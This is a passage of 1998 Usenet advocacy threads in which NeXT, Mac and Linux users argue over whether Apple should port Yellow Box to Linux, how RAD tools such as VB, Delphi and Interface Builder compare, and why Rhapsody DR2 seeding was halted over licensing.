few, I should say. Why? Because they already have NT software, they
already use NT, they already know NT, they've already approved NT,
they're dependent on NT in many different ways.
The degrees to which these complaints apply to Linux users varies, but
they are the same complaints.
At any rate, you asked the question, and you have my answer. May I ask,
why do you ask? [1]
> Can you point to some company and have them
> claim they'd want to deploy 100 YB seats on Linux but refuse to get MOXS?
I can point to 100 users, if you'd like. Would you like a Web poll? I
might be able to get Rob Malda at Slashdot to put it up. Slashdot polls
usually garner around 10,000 responses, IIRC. That should probably be of
sufficient size to constitute a statistical population.
Let me know.
> > Not sure what you're trying to say. No matter what, Apple *gains* customers.
>
> Just like Apple would gain customers making a YB port for _any_ platform you
> care to name. Why wouldn't Apple port YB to every platform under the sun,
> from Cray YMP's, SGI's, DEC VACen, or even Apple ]['s?
Why not, indeed? The Cray, VAX, and Apple ][ ports are ridiculous, of
course, and I know you don't want your arguments to seem ridiculous.
> What's the most fundamental principle of economics?
[1] Leading questions don't engender discussion, Chuck. I hate to have
to lecture you, but in this case it's simply more conducive to
conversation if you phrase it "The most fundamental principle of
economics is *blah*", and let your argument stand on its own merits,
rather than hiding behind implication.
The tradeoff is that you don't get to play footsie for three postings
while your reader tries to figure out what you meant by asking the
question, but hey: life's full of trade-offs. I trust you know what I
mean [wink].
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 8 Dec 1998 02:20:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74i2du$k1m@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com>
On Mon, 07 Dec 1998 16:47:34 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> Publicly held companies refrain from spending investor money without some
>> justification, or at least some possibility of turning that investment into a
>> viable, profitable product. (At least all the ones I've dealt with.)
>> Do you think Oracle just ported its products for the hell of it? Do you think
>> that Sun didn't first gauge the market, and then decide to act?
>I think that you're overstating everything you say.
Dodging the question?
Do you think that Sun didn't do a market study prior to endorcing Linux? Do you
think that Oracle didn't to a market survy?
In late 1996 I talked to a good friend of mine who works for a major database
vendor. The work to start the Linux port of their product had stated in 1994
when they started to get email from Linux users that had managed to get the
SCO version of their product running (in a limited and slightly unstable
fashion) on a patched Linux kernel. One of the senior developers was very much
against a Linux port. He collected those long rambling "manifesto style rants"
that were posted on the Linux newsgroups and would take them into meeting as
ammunition against doing a port.
The work on doing a port took less than seven weeks, including the QA work where
they installed eighteen different Linux distributions. The debate to do a Linux
port took almost two years.
In *any* mid sized to large company, the outlay of money, or the attempt to
enter into a new market is going to be riddled with politics. (ANY company,
not just Apple)
I know of one company that has spent over a year fighting what they are calling
"the great font war". They have spent millions on debating if they should
switch from Helvetica to Arial for their forms and external publications. The
Mac users want Helvetica because PS printers have it built in. The Win users
want Arial, since it ships with Windows. Management can't understand WTFing
difference is between the two fonts. And yet, somehow; the company grows and
turns a profit every quarter. (I must be nuts, I own stock in that firm)
> Familiar as a
>filibustering conversational tactic, but whatever.
What you are defending is the "there's always room for one more" line of logic
that has crippled companies before.
Lets say that Apple decided to do a YB for Linux now*. Would it be far removed
to say, "well, if we are going to do a YB for Linux, shouldn't we also do one
for Solaris? After all, there's always room for one more"
And if they do one for Solaris, "there's always room for one more" so Apple
might as well do one for AIX, HP/UX, Sco, BSDI and Digital Unix. And if they
are doing one for NT, should they do one for WinCE?
Where do you draw the line? When do you set priorities?
*) As opposed to when the YB licensing issues have been resolved and the
current FoundationKit and AppKit changes have settled in a bit. IMnotsoHO,
then would be the right time to port YB to other platforms.
>I also think that I've witnessed many cases wherein the work was done
>before the business case was completed:
>
>"I need to make this change to the code."
>
>"Okay, write a business case, then fix the code."
>
>"No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
>
>"Okay, now just get me that business case and we'll be all set."
I read that Dilbert as well.
I think you are underestimating the time this task will take. Keep in
mind that a public beta wouldn't be possible due to the fact that YB
includes licensed 3rd party software.
>If you'd like to defend the management stupidity that makes mountains
>out of molehills, that's your business. You're doing an excellent job in
>this thread.
I am not defending this line of logic, I am pointing out that it exists
and that it is the norm in the industry.
What I find hard to believe is that you think Apple can somehow be free
of this type of management nonsense, when every other company falls victim
to it.
>> > Have the engineer write it
>> >himself,
>> Might be seen as a conflict of interest. I sure as hell wouldn't give dime
>> one to support any project unless there was some objective research that
>> the market would support the product.
>Like I care. You're going to spend more money and resources on the
>business case itself than on the port. Your argument is basically "kill
>the project by making it larger than it should be, thereby expanding it
>beyond its point of feasability". Yes, management works like that. No,
>I'm not surprised that Apple works that way. The surprising part is that
>I'd find someone on USENET willing to admit to such bunged-up thinking.
I got an idea, I'll run my career my way, and you run it your way. In ten
years, lets compare notes on how far you've gotten tossing money into the
wind looking for good ideas.
People always remember that HP turned down the AppleI, they forget that
HP also turned down hundreds of dumb ideas, and put money behind dozens
of good ideas.
<<clip>>
>> >You don't need a
>> >sales campaign to sell Linux software, you post to Freshmeat.net and
>>
>> Bull.
>
>Well, there you go. Welcome to USENET, where you don't have to argue
>persuasively, you just have to wield your opinion like a weapon.
>Opinions, arseholes, you know the rest.
Welcome to USENET where people clip things out of context and post
rhetorical nonsense and insults in response.
>> You don't need a campaign to _give away_ software, you do need one to
>> _sell_ software.
>No, that's wrong. You don't need a campaign for either. You need a
>campaign to sell *more* software than you would *without* a campaign.
>Important distinction. So don't sell YB for Linux, or do, or whatever.
>Why does it matter? Availability is the important issue.
If it doesn't sell in large enough numbers to recoup the costs of development,
and of negotiating the availability of DPS on another platform (after Adobe
went to great lengths to KILL DPS) it is going to be put down as a loss.
Profitability (or potential profitability) is a bigger issue than availability
if you want to sell this to management as a long term investment.
>Netscape Navigator was available for Linux from the start. The Linux
>version was never supported, never sold, never advertised. It has
>millions of users.
It also was _free_; I am not saying that it isn't easy to give away stuff
for free.
>you're in some kind of "deny and refute at all costs" mode. Fine, I
>expect that from the self-appointed anti-MJP Warrior of USENET. Don't
>expect to be taken seriously for that, you're not.
Don't flatter yourself. I don't give a rats ass about you or the things
you post. If you (or anyone else) makes some inane statement, I have every
right to post my response. If you don't care for my responses, kill file
me.
I often post my disagreements to statements made by people I actually
respect. The funny thing is that they manage to debate without moralizing,
dodging questions and posting a barrage of personal insults.
>> That will inspire confidence in the enterprise market and get people to
>> use YB? Here some software we had a guy whip up in his spare time, we aren't
>> going to support it; feel free to use it.
>Uh, Netscape Navigator for Linux. JDK for Linux. Linux on Ultra
>hardware. Linux itself. Please, you make this way too easy, Salvatore.
>For once, throw a *thoughtful* argument my way. That would be a treat.
Once again, I am not saying that it isn't easy to _give away_ software for
free. I am saying that it is hard to sell software.
If Apple were to sell YB for Linux (THEY CAN NOT GIVE IT AWAY AT THIS POINT)
there must be some minimal amount of QA and support, or it will be seen as
a joke and ignored.
>> >Huh? This is a port of YB to Linux. What will they run if not Linux?
>> Reread that question.
>Reread that answer.
That answer was not to the statement that Chuck made. Chuck felt that if
YellowBox was available on Mach running on x86, those people who wished
to run YB on Unix on an x86 could run that instead of Linux.
What you should have responded with is any statement that there are reasons
to run YB on Linux rather than on Mach if you wish to run YB on Unix on
an x86 based machine.
And please don't dodge the question again.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 19:26:00 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366C8028.235CEE50@ericsson.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com> <74htci$jm$1@camel21.mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthew Cromer wrote:
> Let's skip the general insults.
>
> I'm working on a ~10K LOC ap in VB, and things are going fine.
>
> I've already said I think YB is a better designed environment.
How interesting that in the same thread, Matthew Cromer asked about
environments available for Linux. Considering your involvement in the
thread, Chuck, I think it's only fair to point this out. YB? Linux? Tell
me you see the connection.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 8 Dec 1998 02:20:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74i2dr$k1m@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74e89r$f8r@news1.panix.com> <366ADD69.14C740AC@nstar.net> <74fbe9$ouk@news1.panix.com> <366C03EA.D3F215FA@nstar.net>
On Mon, 07 Dec 1998 10:35:54 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Were you going to explain how a Linux port would hold up DPS licensing,
>or what?
You have it backwards. A Linux port would be held up due to DPS having been
killed by Adobe; as well as current licensing disputes.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 02:20:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74i2e1$k1m@news1.panix.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <366C28AC.D08DCDB5@pobox.com>
On Mon, 07 Dec 1998 14:12:44 -0500, novitk <nospam~novitk@pobox.com> wrote:
>As is in D4.....No amount of VI-lovers are going to convince anybody who used
>Delphi, that going back to isolated tools is more productive than
>having an integrated set. If only Inprise would figure the way to find money
>and port that thing to Linux...
The chance that Delphi will ever be ported to any OS is _very_ slim. I asked
a Borland engineer about this a while back and he told me "read the VCL source
and you'll see that it is very specific to Win32, porting it to X would require
significant work with no guarantee of source compatibility"
The chance that Jbuilder would be ported to Linux is much higher, since the
UI lib isn't as dependant on Windows. Maybe one in a hundred rather than one in
a million for Delphi.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 02:56:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74i4gc$kiv@news1.panix.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com> <74htci$jm$1@camel21.mindspring.com> <366C8028.235CEE50@ericsson.com>
On Mon, 07 Dec 1998 19:26:00 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>How interesting that in the same thread, Matthew Cromer asked about
>environments available for Linux. Considering your involvement in the
>thread, Chuck, I think it's only fair to point this out. YB? Linux? Tell
>me you see the connection.
NO ONE IS SAYING THAT YB for LINUX IS A BAD IDEA, we are pointing out
reasons why Apple might not want to commit to doing it at this time.
Apple may decide to do it when it is free from the DPS licensing
restrictions, or after the NT port is done. Or maybe it is hoping that
GNUStep matures enough so it can port IB+PB to it and just sell that.
AFAIK, Apple has not made any statments about porting or not porting
to Linux.
For the life of me, I do not understand why you can not see the difference
between the two.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 02:56:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74i4hk$kj6@news1.panix.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com> <74htci$jm$1@camel21.mindspring.com>
On 8 Dec 1998 00:54:42 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <74h049$p8f$1@nnrp1.dejanews.com> Charles Swiger,
>chuck@codefab.com writes:
>>Yeah, and it also has a development community that, for the most part, has
>>never worked on a large project, and have no idea why writing 10,000 lines of
>>code is more difficult than writing ten 1000 LOC projects.
>>
>>In case you don't get this point, can you name, specificly, a medium to large
>>project written in VB that was delivered on-time, on-budget, and successfully
>>fulfilled the original requirements?
>
>Let's skip the general insults.
>
>I'm working on a ~10K LOC ap in VB, and things are going fine.
A pair of ActiveX components I wrote are being used in a ~7,500 line VB4 App
that is surprisingly well written. (By a pair of accountants that had learned
SQL at a company sponsored class and one ex COBOL programmer pushing 50)
One of the great things about VB (as well as other RAD products) is that
now, almost anyone can write a GUI application and deploy it millions of
machines all over the world.
This same company has a ~4,000 line VB4 App that is a total mess. It was
"wizarded to death"; a phenomena where the programmer uses the wizard to
create every form without any thought on how code might be reused, or if
it might not have been better to add the additional logic to an existing
form.
One of the bad things about VB (as well as other RAD products) is that
now, almost anyone can write a GUI application and deploy it millions of
machines all over the world.
(I also know of a large number of Apps done in VB, some of them fit Chuck's
"on-time, on-budget, and successfully fulfilled the original requirements"
criteria. Most, maybe as high as 80% or more, don't)
>I've already said I think YB is a better designed environment.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Mon, 07 Dec 1998 23:51:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74hpmm$gv5$1@nnrp1.dejanews.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <366C3CBB.E3D85B73@tone.ca> <pxpst2-0712981548290001@pelli.pathology.pitt.edu>
pxpst2@unixs.cis.pitt.edu (Peter) wrote:
> > As is frequently pointed out here :WebObjects 4 is a hot product that
> > currently allows development only under NT on Intel hardware. Apple is not
> > likely to allow this to remain the case until MacOSX is released late next
> > year.
>
> You mean early in 99....like MacWorld 99 in SF
No, I think he meant late 99, which is when OSX is supposed to ship. Early 99
would be when OSX _server_ may ship, according to the latest rumors.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 03:27:15 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74i6aj$85h$1@camel0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74i2e1$k1m@news1.panix.com> <74i4gc$kiv@news1.panix.com> <74i4hk$kj6@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <74h6uc$pes$1@crib.corepower.com> Nathan Urban,
nurban@crib.corepower.com writes:
>
>Interface Builder isn't perfect, but IMHO it scales fairly well to
>non-trivial projects. I'm just guessing, but I'd expect that some of
>the Smalltalk tools out there might do better. What tools have you
>evaluated?
Something very useful about the GUI tools of VB is that they are easily
extensible.
Is it easy to add components to IB under YB? Can third parties develop
IB widgets? Do the IB widgets have a large variety of possible events
that they can generate?
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 03:30:20 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74i6gc$1c1$1@camel0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74i2e1$k1m@news1.panix.com> <74i4gc$kiv@news1.panix.com> <74i4hk$kj6@news1.panix.com>
Mime-Version: 1.0
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In article <366C28AC.D08DCDB5@pobox.com> novitk, nospam~novitk@pobox.com
writes:
>RAD is a bad idea when implemented or used improperly. I think VB is
>a bad thing for the industry as much as you do, but to dismiss a product
>like say Delphi just because its also RAD is groundless.
"VB is bad for the industry"? I'll hold my tongue until you explain
this.
MC
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Component Model, RAD development, opensource
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74i2e1$k1m@news1.panix.com> <74i4gc$kiv@news1.panix.com> <74i4hk$kj6@news1.panix.com> <74i6aj$85h$1@camel0.mindspring.com>
Distribution: world
Message-ID: <366ca3c8.0@news.depaul.edu>
Date: 8 Dec 98 03:58:00 GMT
In comp.sys.next.advocacy Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74h6uc$pes$1@crib.corepower.com> Nathan Urban,
> nurban@crib.corepower.com writes:
> >
> >Interface Builder isn't perfect, but IMHO it scales fairly well to
> >non-trivial projects. I'm just guessing, but I'd expect that some of
> >the Smalltalk tools out there might do better. What tools have you
> >evaluated?
> Something very useful about the GUI tools of VB is that they are easily
> extensible.
> Is it easy to add components to IB under YB?
Relatively so. Not as easy as, say, Delphi. Can you use VB to create
VB components yet?
> Can third parties develop IB widgets?
Yes.
> Do the IB widgets have a large variety of possible events that they
> can generate?
Anything. IB widgets can even modify the behavior of IB itself, adding
features, UI, etc.
From: galactic1@geocities.com (Evert Claesson)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 04:20:55 GMT
Organization: Internet Nebraska
Message-ID: <366ca8fe.14609268@news.inetnebr.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <3669FCCC.ABCCE1A0@mohawksoft.com>,
> Mark Woodward <markw@mohawksoft.com> wrote:
>
>> As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
>> ActiveX is brain dead, VB is for idiots and accountants.
>>
>> If you want to develop software, use real tools. C/C++ and/or Assembler.
>
>Large financial systems, supercomputer code and flight control systems are, of
>course, toy problems and don't need the power of C/C++ or assember. That's why
>they are commonly written in FORTRAN, M2 and other languages.
>
>> ActiveX is an intentional road block to portability. The RAD development
>> idea is for idiotic acronym touting jerks. If you can write an
>> application in VB in 1 day or less, it like any interpreted language is
>> fine. When you want to write real applications, VB is a huge road block
>> to success.
>
>There isn't a one-to-one relationship between VB and RAD. There are RAD
>environment's which are very good. IB comes to mind.
How About Delphi?
From: Macghod@concentric.net (Steve)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 20:23:23 -0800
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <Macghod-0712981615150001@sdn-ar-001casbarp310.dialsprint.net> <366C7A67.6CD891C@ericsson.com>
Organization: Concentric
Message-ID: <Macghod-0712982023230001@sdn-ar-002casbarp269.dialsprint.net>
In article <366C7A67.6CD891C@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
> > >
> > > "Okay, now just get me that business case and we'll be all set."
> >
> > Is this life imitating Dilbert, or did you just take this from Dilbert?
>
> I've never seen that Dilbert, if it was one. I've seen it happen at
> unnamed employers at least twice.
It was within the last couple of months. Pointy haired boss tells Dilbert
he has to write a business case for the software problem, Dilbert says it
will only take him a second to fix, he fixes it, then the boss says good,
now you just have to write the case :P
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: Mon, 7 Dec 1998 10:06:39 -0800
Organization: Net Squared, Inc.
Message-ID: <74h6mj$f2j$1@your.mother.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr>
Aaron Smith wrote in message
>So why the "licensing hassles?" What if "licensing" was more than
>just a dollars-per-deployment issue...
From an X Files fan who loves conspiracy theories... I suspect the
following note refers to the *applications* bundled with DR2 and not any
core technologies used by Mac OS X Server, but it makes you wonder...
;-)
From the bottom of the Mac OS X Server web page at Apple:
http://gemma.apple.com/macosx/server/
"Note on Rhapsody/Mac OS X Server DR2 CDs:
Rhapsody/Mac OS X Server DR2 is no longer being seeded due to the
expiration of a third party software license. We will keep you informed
through ADC Seeding e-mails as new software becomes available."
Todd
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: 8 Dec 1998 05:23:18 GMT
Organization: Digital Fix Development
Message-ID: <74id46$cvu$1@news.digifix.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com>
In-Reply-To: <74h6mj$f2j$1@your.mother.com>
On 12/07/98, "Todd Heberlein (todd at NetSQ dot com)" wrote:
>Aaron Smith wrote in message
>>So why the "licensing hassles?" What if "licensing" was more than
>>just a dollars-per-deployment issue...
>
>
>From an X Files fan who loves conspiracy theories... I suspect the
>following note refers to the *applications* bundled with DR2 and not
any
>core technologies used by Mac OS X Server, but it makes you wonder...
>;-)
>
Just what non-Apple applications are bundled with DR2 that
could apply? About the only non-Apple app I can think of is maybe
Omni's and I doubt they'd be this anal about it.
Why would you think it was an App?
>From the bottom of the Mac OS X Server web page at Apple:
>http://gemma.apple.com/macosx/server/
>
>"Note on Rhapsody/Mac OS X Server DR2 CDs:
>
>Rhapsody/Mac OS X Server DR2 is no longer being seeded due to the
>expiration of a third party software license. We will keep you
informed
>through ADC Seeding e-mails as new software becomes available."
>
>Todd
>
>
>
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 05:55:30 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74if0i$2vl$1@camel0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74i6aj$85h$1@camel0.mindspring.com> <74i6gc$1c1$1@camel0.mindspring.com> <366ca3c8.0@news.depaul.edu>
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In article <366ca3c8.0@news.depaul.edu> Jonathan W Hendry,
jhendry@shrike.depaul.edu writes:
>> Is it easy to add components to IB under YB?
>
>Relatively so. Not as easy as, say, Delphi. Can you use VB to create
>VB components yet?
Yes.
>
>> Can third parties develop IB widgets?
>
>Yes.
Good.
>
>> Do the IB widgets have a large variety of possible events that they
>> can generate?
>
>Anything. IB widgets can even modify the behavior of IB itself, adding
>features, UI, etc.
Double great.
MC
Message-ID: <366CC2B0.308496A@nstar.net>
Date: Tue, 08 Dec 1998 00:09:52 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <Macghod-0712981615150001@sdn-ar-001casbarp310.dialsprint.net> <366C7A67.6CD891C@ericsson.com> <Macghod-0712982023230001@sdn-ar-002casbarp269.dialsprint.net>
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Steve wrote:
> It was within the last couple of months. Pointy haired boss tells Dilbert
> he has to write a business case for the software problem, Dilbert says it
> will only take him a second to fix, he fixes it, then the boss says good,
> now you just have to write the case :P
Ah. Then I probably did see it. Not sure which imitated which in my
description, there.
MJP
Message-ID: <366CCB11.290A029B@ameritechREMOVETHIS.net>
From: BR <benr9y@ameritechREMOVETHIS.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com>
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Date: Tue, 08 Dec 1998 06:45:37 +0000
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:32 CDT
Organization: Ameritech.Net www.ameritech.net Complaints: abuse@ameritech.net
Charles Swiger wrote:
<big snip>
> What's the most fundamental principle of economics?
Gimme,Gimme,Gimme..
[sorry couldn't resist :)]
> -Chuck
>
> -----------== Posted via Deja News, The Discussion Network ==----------
> http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: arehartj@schultz.io.com (Jonathan Arehart)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 8 Dec 1998 07:08:56 GMT
Organization: Illuminati Online
Message-ID: <slrn76pk4k.sm3.arehartj@schultz.io.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost> <74fbec$ouk@news1.panix.com> <74fk39$omi$1@cronkite.cs.umd.edu> <74hib9$btn$2@news.xmission.com>
NNTP-Posting-Date: 8 Dec 1998 07:08:56 GMT
On 7 Dec 1998 21:46:17 GMT, Don Yacktman <don@misckit.com> wrote:
: seanl@cs.umd.edu (Sean Luke) wrote:
: > 3DKit Don Yacktman and Darcy Brockbank petitioned NeXT
: > IndexingKit Same as 3DKit. Digital Librarian not available.
:
: There is still that awful NDA, though, and I wish there were a way to get rid
: of it and make both kits open source--we'd have a much better chance of
: getting some useful work done if more people were tinkering with the code.
Don,
Do you, by chance, know if the GNUstep project is planning to implement
clones of any of the "dead" kits? And if you don't know, don't worry
'bout it. :)
Thanks,
Jonathan Arehart
arehartj@io.com
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 07:43:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ilbp$7ob$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com>
In article <366BF336.B17A3872@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
> Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> for small "trivial" applications. The whole process breaks down on
> non-trivial applications. I've seen it happen over and over. Trivial, of
> course is a moving scale, but, a convenient definition is more than one
> person day.
